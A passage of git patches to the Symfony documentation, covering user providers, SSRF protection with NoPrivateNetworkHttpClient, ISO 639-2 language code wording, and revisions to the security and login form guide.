-            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
-        }
-
-        /**
-         * Tells Symfony to use this provider for this User class.
-         */
-        public function supportsClass(string $class)
-        {
-            return User::class === $class || is_subclass_of($class, User::class);
-        }
-
-        /**
-         * Upgrades the hashed password of a user, typically for using a better hash algorithm.
-         */
-        public function upgradePassword(UserInterface $user, string $newHashedPassword): void
-        {
-            // TODO: when hashed passwords are in use, this method should:
-            // 1. persist the new password in the user storage
-            // 2. update the $user object with $user->setPassword($newHashedPassword);
-        }
-    }
-
-Most of the work is already done! Read the comments in the code and update the
-TODO sections to finish the user provider. When you're done, tell Symfony about
-the user provider by adding it in ``security.yaml``:
-
-.. code-block:: yaml
-
-    # config/packages/security.yaml
-    security:
-        providers:
-            # the name of your user provider can be anything
-            your_custom_user_provider:
-                id: App\Security\UserProvider
-
-Lastly, update the ``config/packages/security.yaml`` file to set the
-``provider`` key to ``your_custom_user_provider`` in all the firewalls which
-will use this custom user provider.
-
-.. _user_session_refresh:
-
-Understanding how Users are Refreshed from the Session
-------------------------------------------------------
-
-At the end of every request (unless your firewall is ``stateless``), your
-``User`` object is serialized to the session. At the beginning of the next
-request, it's deserialized and then passed to your user provider to "refresh" it
-(e.g. Doctrine queries for a fresh user).
-
-Then, the two User objects (the original from the session and the refreshed User
-object) are "compared" to see if they are "equal". By default, the core
-``AbstractToken`` class compares the return values of the ``getPassword()``,
-``getSalt()`` and ``getUserIdentifier()`` methods. If any of these are different,
-your user will be logged out. This is a security measure to make sure that malicious
-users can be de-authenticated if core user data changes.
-
-However, in some cases, this process can cause unexpected authentication problems.
-If you're having problems authenticating, it could be that you *are* authenticating
-successfully, but you immediately lose authentication after the first redirect.
-
-In that case, review the serialization logic (e.g. ``SerializableInterface``) if
-you have any, to make sure that all the fields necessary are serialized.
-
-Comparing Users Manually with EquatableInterface
-------------------------------------------------
-
-Or, if you need more control over the "compare users" process, make your User class
-implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
-Then, your ``isEqualTo()`` method will be called when comparing users.
-
-Injecting a User Provider in your Services
-------------------------------------------
-
-Symfony defines several services related to user providers:
-
-.. code-block:: terminal
-
-    $ php bin/console debug:container user.provider
-
-      Select one of the following services to display its information:
-      [0] security.user.provider.in_memory
-      [1] security.user.provider.ldap
-      [2] security.user.provider.chain
-      ...
-
-Most of these services are abstract and cannot be injected in your services.
-Instead, you must inject the normal service that Symfony creates for each of
-your user providers. The names of these services follow this pattern:
-``security.user.provider.concrete.<your-provider-name>``.
-
-For example, if you are :doc:`building a form login </security/form_login_setup>`
-and want to inject in your ``LoginFormAuthenticator`` a user provider of type
-``memory`` and called  ``backend_users``, do the following::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use Symfony\Component\Security\Core\User\InMemoryUserProvider;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator
-    {
-        private $userProvider;
-
-        // change the 'InMemoryUserProvider' type-hint in the constructor if
-        // you are injecting a different type of user provider
-        public function __construct(InMemoryUserProvider $userProvider, /* ... */)
-        {
-            $this->userProvider = $userProvider;
-            // ...
-        }
-    }
-
-Then, inject the concrete service created by Symfony for the ``backend_users``
-user provider:
-
-.. code-block:: yaml
-
-    # config/services.yaml
-    services:
-        # ...
-
-        App\Security\LoginFormAuthenticator:
-            $userProvider: '@security.user.provider.concrete.backend_users'
diff --git a/security/user_providers.rst b/security/user_providers.rst
new file mode 100644
index 00000000000..e5279a9d5f1
--- /dev/null
+++ b/security/user_providers.rst
@@ -0,0 +1,362 @@
+User Providers
+==============
+
+.. TODO intro paragraph
+   don't forget to mention LDAP user provider (documented in security/ldap)
+
+.. _security-entity-user-provider:
+
+Entity User Provider
+--------------------
+
+This is the most common user provider. Users are stored in a database and
+the user provider uses :doc:`Doctrine </doctrine>` to retrieve them.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        # the class of the entity that represents users
+                        class: 'App\Entity\User'
+                        # the property to query by - e.g. email, username, etc
+                        property: 'email'
+
+                        # optional: if you're using multiple Doctrine entity
+                        # managers, this option defines which one to use
+                        #manager_name: 'customer'
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <!-- class:    the class of the entity that represents users
+                         property: the property to query by - e.g. email, username, etc-->
+                    <entity class="App\Entity\User" property="email"/>
+
+                    <!-- optional, if you're using multiple Doctrine entity
+                         managers, "manager-name" defines which one to use -->
+                    <!-- <entity class="App\Entity\User" property="email"
+                                 manager-name="customer"/> -->
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+        use Symfony\Config\SecurityConfig;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        // the class of the entity that represents users
+                        'class'    => User::class,
+                        // the property to query by - e.g. email, username, etc
+                        'property' => 'email',
+
+                        // optional: if you're using multiple Doctrine entity
+                        // managers, this option defines which one to use
+                        //'manager_name' => 'customer',
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+.. _authenticating-someone-with-a-custom-entity-provider:
+
+Using a Custom Query to Load the User
+.....................................
+
+The entity provider can only query from one *specific* field, specified by
+the ``property`` config key. If you want a bit more control over this - e.g. you
+want to find a user by ``email`` *or* ``username``, you can do that by
+implenting :class:`Symfony\\Bridge\\Doctrine\\Security\\User\\UserLoaderInterface`
+in your :ref:`Doctrine repository <doctrine-queries>` (e.g. ``UserRepository``)::
+
+    // src/Repository/UserRepository.php
+    namespace App\Repository;
+
+    use App\Entity\User;
+    use Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepository;
+    use Symfony\Bridge\Doctrine\Security\User\UserLoaderInterface;
+
+    class UserRepository extends ServiceEntityRepository implements UserLoaderInterface
+    {
+        // ...
+
+        public function loadUserByIdentifier(string $usernameOrEmail): ?User
+        {
+            $entityManager = $this->getEntityManager();
+
+            return $entityManager->createQuery(
+                    'SELECT u
+                    FROM App\Entity\User u
+                    WHERE u.username = :query
+                    OR u.email = :query'
+                )
+                ->setParameter('query', $usernameOrEmail)
+                ->getOneOrNullResult();
+        }
+
+        /** @deprecated since Symfony 5.3 */
+        public function loadUserByUsername(string $usernameOrEmail): ?User
+        {
+            return $this->loadUserByIdentifier($usernameOrEmail);
+        }
+    }
+
+.. versionadded:: 5.3
+
+    The method ``loadUserByIdentifier()`` was introduced to the
+    ``UserLoaderInterface`` in Symfony 5.3.
+
+To finish this, remove the ``property`` key from the user provider in
+``security.yaml``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            providers:
+                users:
+                    entity:
+                        class: App\Entity\User
+
+            # ...
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <provider name="users">
+                    <entity class="App\Entity\User"/>
+                </provider>
+
+                <!-- ... -->
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use App\Entity\User;
+
+        $container->loadFromExtension('security', [
+            'providers' => [
+                'users' => [
+                    'entity' => [
+                        'class' => User::class,
+                    ],
+                ],
+            ],
+
+            // ...
+        ]);
+
+Now, whenever Symfony uses the user provider, the ``loadUserByIdentifier()``
+method on your ``UserRepository`` will be called.
+
+.. _security-memory-user-provider:
+
+Memory User Provider
+--------------------
+
+It's not recommended to use this provider in real applications because of its
+limitations and how difficult it is to manage users. It may be useful in application
+prototypes and for limited applications that don't store users in databases.
+
+This user provider stores all user information in a configuration file,
+including their passwords. Make sure the passwords are hashed properly. See
+:doc:`/security/passwords` for more information.
+
+After setting up hashing, you can configure all the user information in
+``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            backend_users:
+                memory:
+                    users:
+                        john_admin: { password: '$2y$13$jxGxc ... IuqDju', roles: ['ROLE_ADMIN'] }
+                        jane_admin: { password: '$2y$13$PFi1I ... rGwXCZ', roles: ['ROLE_ADMIN', 'ROLE_SUPER_ADMIN'] }
+
+        # ...
+
+.. caution::
+
+    When using a ``memory`` provider, and not the ``auto`` algorithm, you have
+    to choose an encoding without salt (i.e. ``bcrypt``).
+
+.. _security-chain-user-provider:
+
+Chain User Provider
+-------------------
+
+This user provider combines two or more of the other provider types (e.g.
+``entity`` and ``ldap``) to create a new user provider. The order in which
+providers are configured is important because Symfony will look for users
+starting from the first provider and will keep looking for in the other
+providers until the user is found:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        # ...
+        providers:
+            backend_users:
+                ldap:
+                    # ...
+
+            legacy_users:
+                entity:
+                    # ...
+
+            users:
+                entity:
+                    # ...
+
+            all_users:
+                chain:
+                    providers: ['legacy_users', 'users', 'backend_users']
+
+.. _security-custom-user-provider:
+
+Creating a Custom User Provider
+-------------------------------
+
+Most applications don't need to create a custom provider. If you store users in
+a database, a LDAP server or a configuration file, Symfony supports that.
+However, if you're loading users from a custom location (e.g. via an API or
+legacy database connection), you'll need to create a custom user provider.
+
+First, make sure you've followed the :doc:`Security Guide </security>` to create
+your ``User`` class.
+
+If you used the ``make:user`` command to create your ``User`` class (and you
+answered the questions indicating that you need a custom user provider), that
+command will generate a nice skeleton to get you started::
+
+    // src/Security/UserProvider.php
+    namespace App\Security;
+
+    use Symfony\Component\Security\Core\Exception\UnsupportedUserException;
+    use Symfony\Component\Security\Core\Exception\UserNotFoundException;
+    use Symfony\Component\Security\Core\User\PasswordUpgraderInterface;
+    use Symfony\Component\Security\Core\User\UserInterface;
+    use Symfony\Component\Security\Core\User\UserProviderInterface;
+
+    class UserProvider implements UserProviderInterface, PasswordUpgraderInterface
+    {
+        /**
+         * The loadUserByIdentifier() method was introduced in Symfony 5.3.
+         * In previous versions it was called loadUserByUsername()
+         *
+         * Symfony calls this method if you use features like switch_user
+         * or remember_me. If you're not using these features, you do not
+         * need to implement this method.
+         *
+         * @throws UserNotFoundException if the user is not found
+         */
+        public function loadUserByIdentifier(string $identifier): UserInterface
+        {
+            // Load a User object from your data source or throw UserNotFoundException.
+            // The $identifier argument is whatever value is being returned by the
+            // getUserIdentifier() method in your User class.
+            throw new \Exception('TODO: fill in loadUserByIdentifier() inside '.__FILE__);
+        }
+
+        /**
+         * Refreshes the user after being reloaded from the session.
+         *
+         * When a user is logged in, at the beginning of each request, the
+         * User object is loaded from the session and then this method is
+         * called. Your job is to make sure the user's data is still fresh by,
+         * for example, re-querying for fresh User data.
+         *
+         * If your firewall is "stateless: true" (for a pure API), this
+         * method is not called.
+         *
+         * @return UserInterface
+         */
+        public function refreshUser(UserInterface $user)
+        {
+            if (!$user instanceof User) {
+                throw new UnsupportedUserException(sprintf('Invalid user class "%s".', get_class($user)));
+            }
+
+            // Return a User object after making sure its data is "fresh".
+            // Or throw a UserNotFoundException if the user no longer exists.
+            throw new \Exception('TODO: fill in refreshUser() inside '.__FILE__);
+        }
+
+        /**
+         * Tells Symfony to use this provider for this User class.
+         */
+        public function supportsClass(string $class)
+        {
+            return User::class === $class || is_subclass_of($class, User::class);
+        }
+
+        /**
+         * Upgrades the encoded password of a user, typically for using a better hash algorithm.
+         */
+        public function upgradePassword(UserInterface $user, string $newEncodedPassword): void
+        {
+            // TODO: when encoded passwords are in use, this method should:
+            // 1. persist the new password in the user storage
+            // 2. update the $user object with $user->setPassword($newEncodedPassword);
+        }
+    }
+
+Most of the work is already done! Read the comments in the code and update the
+TODO sections to finish the user provider. When you're done, tell Symfony about
+the user provider by adding it in ``security.yaml``:
+
+.. code-block:: yaml
+
+    # config/packages/security.yaml
+    security:
+        providers:
+            # the name of your user provider can be anything
+            your_custom_user_provider:
+                id: App\Security\UserProvider
+
+Lastly, update the ``config/packages/security.yaml`` file to set the
+``provider`` key to ``your_custom_user_provider`` in all the firewalls which
+will use this custom user provider.
diff --git a/testing.rst b/testing.rst
index 1b0079be88a..1fe8e409a69 100644
--- a/testing.rst
+++ b/testing.rst
@@ -587,9 +587,9 @@ submitting a login form - make a test very slow. For this reason, Symfony
 provides a ``loginUser()`` method to simulate logging in in your functional
 tests.
 
-Instead of logging in with real users, it's recommended to create a user only for
-tests. You can do that with Doctrine :ref:`data fixtures <user-data-fixture>`,
-to load the testing users only in the test database.
+Instead of logging in with real users, it's recommended to create a user
+only for tests. You can do that with `Doctrine data fixtures`_ to load the
+testing users only in the test database.
 
 After loading users in your database, use your user repository to fetch
 this user and use
@@ -1016,6 +1016,7 @@ Learn more
 .. _`PHPUnit documentation`: https://phpunit.readthedocs.io/en/stable/configuration.html
 .. _`unit test`: https://en.wikipedia.org/wiki/Unit_testing
 .. _`DAMADoctrineTestBundle`: https://github.com/dmaicher/doctrine-test-bundle
+.. _`Doctrine data fixtures`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`DoctrineFixturesBundle documentation`: https://symfony.com/doc/current/bundles/DoctrineFixturesBundle/index.html
 .. _`SymfonyMakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
 .. _`PHPUnit Assertion`: https://phpunit.readthedocs.io/en/stable/assertions.html

From df4fd60ed93219df44c6cdbe2f66be7168e1988f Mon Sep 17 00:00:00 2001
From: Jordi Boggiano <j.boggiano@seld.be>
Date: Mon, 11 Oct 2021 14:37:25 +0200
Subject: [PATCH 2574/7107] Add a mention of NoPrivateNetworkHttpClient and
 SSRF to the docs

---
 http_client.rst | 24 +++++++++++++++++++++++-
 1 file changed, 23 insertions(+), 1 deletion(-)

diff --git a/http_client.rst b/http_client.rst
index 735c1cd785a..52c9db8e402 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -784,6 +784,28 @@ Alternatively, you can also disable ``verify_host`` and ``verify_peer`` (see
 :ref:`http_client config reference <reference-http-client>`), but this is not
 recommended in production.
 
+SSRF (Server-side request forgery) Handling
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+[SSRF](https://portswigger.net/web-security/ssrf) allows an attacker to induce the backend application to make HTTP requests to an arbitrary domain. These attacks can also target the internal hosts and IPs of the attacked server.
+
+If you use an ``HttpClient`` together with user-provided URIs, it is probably a good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will ensure local networks are made inaccessible to the HTTP client::
+
+    use Symfony\Component\HttpClient\HttpClient;
+    use Symfony\Component\HttpClient\NoPrivateNetworkHttpClient;
+
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create());
+    // nothing changes when requesting public networks
+    $client->request('GET', 'https://example.com/');
+
+    // however, all requests to private networks are now blocked by default
+    $client->request('GET', 'http://localhost/');
+
+    // the second optional argument defines the networks to block
+    // in this example, requests from 104.26.14.0 to 104.26.15.255 will result in an exception
+    // but all the other requests, including other internal networks, will be allowed
+    $client = new NoPrivateNetworkHttpClient(HttpClient::create(), ['104.26.14.0/23']);
+
 Performance
 -----------
 
@@ -1074,7 +1096,7 @@ This behavior provided at destruction-time is part of the fail-safe design of th
 component. No errors will be unnoticed: if you don't write the code to handle
 errors, exceptions will notify you when needed. On the other hand, if you write
 the error-handling code (by calling ``$response->getStatusCode()``), you will
-opt-out from these fallback mechanisms as the destructor won't have anything 
+opt-out from these fallback mechanisms as the destructor won't have anything
 remaining to do.
 
 Concurrent Requests

From 244d49874e114f210ada4583b8cf68697bca66fa Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Oct 2021 16:05:08 +0200
Subject: [PATCH 2575/7107] Tweaks

---
 http_client.rst | 13 +++++++++++--
 1 file changed, 11 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index 52c9db8e402..f62c0415b63 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -787,9 +787,17 @@ recommended in production.
 SSRF (Server-side request forgery) Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-[SSRF](https://portswigger.net/web-security/ssrf) allows an attacker to induce the backend application to make HTTP requests to an arbitrary domain. These attacks can also target the internal hosts and IPs of the attacked server.
+.. versionadded:: 5.1
+
+    The SSRF protection was introduced in Symfony 5.1.
+
+`SSRF`_ allows an attacker to induce the backend application to make HTTP
+requests to an arbitrary domain. These attacks can also target the internal
+hosts and IPs of the attacked server.
 
-If you use an ``HttpClient`` together with user-provided URIs, it is probably a good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will ensure local networks are made inaccessible to the HTTP client::
+If you use an ``HttpClient`` together with user-provided URIs, it is probably a
+good idea to decorate it with a ``NoPrivateNetworkHttpClient``. This will
+ensure local networks are made inaccessible to the HTTP client::
 
     use Symfony\Component\HttpClient\HttpClient;
     use Symfony\Component\HttpClient\NoPrivateNetworkHttpClient;
@@ -1932,3 +1940,4 @@ test it in a real application::
 .. _`Server-sent events`: https://html.spec.whatwg.org/multipage/server-sent-events.html
 .. _`EventSource`: https://www.w3.org/TR/eventsource/#eventsource
 .. _`idempotent method`: https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol#Idempotent_methods_and_web_applications
+.. _`SSRF`: https://portswigger.net/web-security/ssrf

From 89231a2d369ba63daf517636359f3358e017d7b0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 11 Oct 2021 16:06:13 +0200
Subject: [PATCH 2576/7107] Remove versionadded directive

---
 http_client.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a5a128a87bc..6c8b687b390 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -775,10 +775,6 @@ recommended in production.
 SSRF (Server-side request forgery) Handling
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-.. versionadded:: 5.1
-
-    The SSRF protection was introduced in Symfony 5.1.
-
 `SSRF`_ allows an attacker to induce the backend application to make HTTP
 requests to an arbitrary domain. These attacks can also target the internal
 hosts and IPs of the attacked server.

From 578c9e5afe9096c960ed216aed3ee101aec379f7 Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Mon, 11 Oct 2021 18:39:58 +0200
Subject: [PATCH 2577/7107] Language codes: 'ISO 639-2 alpha-3' mentions
 specified to 'ISO 639-2 alpha-3 (2T)'.

---
 components/intl.rst                | 4 ++--
 reference/forms/types/language.rst | 4 ++--
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/intl.rst b/components/intl.rst
index d66370218c9..70e602cc1c2 100644
--- a/components/intl.rst
+++ b/components/intl.rst
@@ -69,7 +69,7 @@ Language and Script Names
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The ``Languages`` class provides access to the name of all languages
-according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3`_ list::
+according to the `ISO 639-1 alpha-2`_ list and the `ISO 639-2 alpha-3 (2T)`_ list::
 
     use Symfony\Component\Intl\Languages;
 
@@ -416,4 +416,4 @@ Learn more
 .. _`UTC/GMT time offsets`: https://en.wikipedia.org/wiki/List_of_UTC_time_offsets
 .. _`daylight saving time (DST)`: https://en.wikipedia.org/wiki/Daylight_saving_time
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
diff --git a/reference/forms/types/language.rst b/reference/forms/types/language.rst
index 89c14193a80..c3e47bb7b0c 100644
--- a/reference/forms/types/language.rst
+++ b/reference/forms/types/language.rst
@@ -74,7 +74,7 @@ alpha3
 
     The ``alpha3`` option was introduced in Symfony 4.4.
 
-If this option is ``true``, the choice values use the `ISO 639-2 alpha-3`_
+If this option is ``true``, the choice values use the `ISO 639-2 alpha-3 (2T)`_
 three-letter codes (e.g. French = ``fra``) instead of the default
 `ISO 639-1 alpha-2`_ two-letter codes (e.g. French = ``fr``).
 
@@ -156,5 +156,5 @@ The actual default value of this option depends on other field options:
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
 .. _`ISO 639-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_639-1
-.. _`ISO 639-2 alpha-3`: https://en.wikipedia.org/wiki/ISO_639-2
+.. _`ISO 639-2 alpha-3 (2T)`: https://en.wikipedia.org/wiki/ISO_639-2
 .. _`International Components for Unicode`: http://site.icu-project.org

From 259e12047cdd39fb986c23e8c53edcf2aa8da545 Mon Sep 17 00:00:00 2001
From: Martin Bens <martin.bens@uni-bayreuth.de>
Date: Mon, 11 Oct 2021 18:54:08 +0200
Subject: [PATCH 2578/7107] Language codes: 'ISO 639-2 alpha-3' mentions
 specified to 'ISO 639-2 alpha-3 (2T)'.

---
 reference/constraints/Language.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Language.rst b/reference/constraints/Language.rst
index 0d9522dc882..6c9d81119f7 100644
--- a/reference/constraints/Language.rst
+++ b/reference/constraints/Language.rst
@@ -101,7 +101,7 @@ alpha3
 **type**: ``boolean`` **default**: ``false``
 
 If this option is ``true``, the constraint checks that the value is a
-`ISO 639-2`_ three-letter code (e.g. French = ``fra``) instead of the default
+`ISO 639-2 (2T)`_ three-letter code (e.g. French = ``fra``) instead of the default
 `ISO 639-1`_ two-letter code (e.g. French = ``fr``).
 
 .. include:: /reference/constraints/_groups-option.rst.inc
@@ -129,4 +129,4 @@ Parameter        Description
 .. include:: /reference/constraints/_payload-option.rst.inc
 
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`ISO 639-2`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes
+.. _`ISO 639-2 (2T)`: https://en.wikipedia.org/wiki/List_of_ISO_639-2_codes

From df05fdb9e2d41dc2329f24d341a64819727aee85 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Mon, 11 Oct 2021 13:08:11 -0400
Subject: [PATCH 2579/7107] Various tweaks to the new security documentation

---
 security.rst                      | 108 +++++++++++++++++-------------
 security/custom_authenticator.rst |  13 ++--
 2 files changed, 66 insertions(+), 55 deletions(-)

diff --git a/security.rst b/security.rst
index 4c065b70e5e..59983e91f05 100644
--- a/security.rst
+++ b/security.rst
@@ -28,6 +28,9 @@ creates a ``security.yaml`` configuration file for you:
     security:
         # https://symfony.com/doc/current/security/experimental_authenticators.html
         enable_authenticator_manager: true
+        # https://symfony.com/doc/current/security.html#c-hashing-passwords
+        password_hashers:
+            Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
         # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
         providers:
             users_in_memory: { memory: null }
@@ -79,7 +82,7 @@ The User
 Permissions in Symfony are always linked to a user object. If you need to
 secure (parts of) your application, you need to create a user class. This
 is a class that implements :class:`Symfony\\Component\\Security\\Core\\User\\UserInterface`.
-This class is often a Doctrine entity, but you can also use a dedicated
+This is often a Doctrine entity, but you can also use a dedicated
 Security user class.
 
 The easiest way to generate a user class is using the ``make:user`` command
@@ -324,8 +327,8 @@ User providers are used in a couple places during the security lifecycle:
 **Reload the User from the session**
     At the beginning of each request, the user is loaded from the
     session (unless your firewall is ``stateless``). The provider
-    "refreshes" the user  (e.g. the database is queried again for fresh
-    data), to make sure all user information is up to date (and if
+    "refreshes" the user (e.g. the database is queried again for fresh
+    data) to make sure all user information is up to date (and if
     necessary, the user is de-authenticated/logged out if something
     changed). See :ref:`user_session_refresh` for more information about
     this process.
@@ -341,7 +344,7 @@ Symfony comes with several built-in user providers:
 :ref:`Chain User Provider <security-chain-user-provider>`
     Merges two or more user providers into a new user provider.
 
-The built-in user providers cover most the common needs for applications, but you
+The built-in user providers cover the most common needs for applications, but you
 can also create your own :ref:`custom user provider <security-custom-user-provider>`.
 
 .. note::
@@ -350,14 +353,16 @@ can also create your own :ref:`custom user provider <security-custom-user-provid
     in your custom authenticator). All user providers follow this pattern
     for their service ID: ``security.user.provider.concrete.<your-provider-name>``
     (where ``<your-provider-name>`` is the configuration key, e.g.
-    ``app_user_provider``).
+    ``app_user_provider``). If you only have one user provider, you can autowire
+    it using the :class:`Symfony\Component\Security\Core\User\UserProviderInterface`
+    type-hint.
 
 .. _security-encoding-user-password:
 
 Registering the User: Hashing Passwords
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Most applications require a user to login with a password. For these
+Many applications require a user to log in with a password. For these
 applications, the SecurityBundle provides password hashing and verification
 functionality.
 
@@ -382,8 +387,9 @@ First, make sure your User class implements the
         }
     }
 
-Then, configure which password hasher should be used for this class. The
-``make:user`` pre-configured this for you:
+Then, configure which password hasher should be used for this class. If your
+``security.yaml`` file wasn't already pre-configured, then ``make:user`` should
+have done this for you:
 
 .. configuration-block::
 
@@ -393,10 +399,9 @@ Then, configure which password hasher should be used for this class. The
         security:
             # ...
             password_hashers:
-                App\Entity\User:
-                    # Use native password hasher, which auto-selects and migrates the best
-                    # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
-                    algorithm: auto
+                # Use native password hasher, which auto-selects and migrates the best
+                # possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
+                Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface: 'auto'
 
     .. code-block:: xml
 
@@ -414,7 +419,7 @@ Then, configure which password hasher should be used for this class. The
                 <!-- ... -->
                 <!-- Use native password hasher, which auto-selects and migrates the best
                      possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt") -->
-                <password-hasher class="App\Entity\User" algorithm="auto"/>
+                <password-hasher class="Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface" algorithm="auto"/>
             </config>
         </srv:container>
 
@@ -422,14 +427,14 @@ Then, configure which password hasher should be used for this class. The
 
         // config/packages/security.php
         use App\Entity\User;
-        use Symfony\Config\SecurityConfig;
+        use Symfony\Component\Security\Core\User\PasswordAuthenticatedUserInterface;
 
         return static function (SecurityConfig $security) {
             // ...
 
             // Use native password hasher, which auto-selects and migrates the best
             // possible hashing algorithm (starting from Symfony 5.3 this is "bcrypt")
-            $security->passwordHasher(User::class)
+            $security->passwordHasher(PasswordAuthenticatedUserInterface::class)
                 ->algorithm('auto')
             ;
         };
@@ -591,7 +596,7 @@ you'll see that you're visiting a page behind the firewall in the toolbar:
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-Visiting a secured section doesn't necessarily require you to authenticate
+Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
 are public). You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control
@@ -769,13 +774,13 @@ Edit the login controller to render the login form:
           }
       }
 
-Don't let this controller confuse you. The form login authenticators
-handles the form submission for you. If the user submits an invalid
-username or password, this controller reads the form submission error from
-the security system (using ``AuthenticationUtils``), so that it can be
-displayed back to the user.
+Don't let this controller confuse you. Its job is only to *render* the form:
+the ``form_login`` authenticator will handle the form *submission* automatically.
+If the user submits an invalid email or password, that authenticator will store
+the error and redirect back to this controller, where we read the error (using
+``AuthenticationUtils``) so that it can be displayed back to the user.
 
-Finally, create the template:
+Finally, create or updaate the template:
 
 .. code-block:: html+twig
 
@@ -790,7 +795,7 @@ Finally, create the template:
         {% endif %}
 
         <form action="{{ path('login') }}" method="post">
-            <label for="username">Username:</label>
+            <label for="username">Email:</label>
             <input type="text" id="username" name="_username" value="{{ last_username }}"/>
 
             <label for="password">Password:</label>
@@ -808,15 +813,16 @@ Finally, create the template:
     The ``error`` variable passed into the template is an instance of
     :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
     It may contain sensitive information about the authentication failure.
-    *Never* use ``error.message``, but the ``messageKey`` property instead
+    *Never* use ``error.message``: use the ``messageKey`` property instead,
     as shown in the example. This message is always safe to display.
 
 The form can look like anything, but it usually follows some conventions:
 
 * The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
-  that's what you configured under the ``form_login`` key in ``security.yaml``;
-* The username field has the name ``_username`` and the password field has the
-  name ``_password``.
+  that's what you configured as the ``check_path`` under the ``form_login`` key in
+  ``security.yaml``;
+* The username (or whatever your user's "identifier" is, like an email) field has
+  the name ``_username`` and the password field has the name ``_password``.
 
 .. tip::
 
@@ -829,20 +835,21 @@ The form can look like anything, but it usually follows some conventions:
     :ref:`form_login-csrf` on how to protect your login form.
 
 And that's it! When you submit the form, the security system automatically
-checks the user's credentials and either authenticate the user or send the
-user back to the login form where the error can be displayed.
+reads the ``_username`` and ``_email`` POST parameter, loads the user via
+the user provider, checks the user's credentials and either authenticates the
+user or sends them back to the login form where the error can be displayed.
 
 To review the whole process:
 
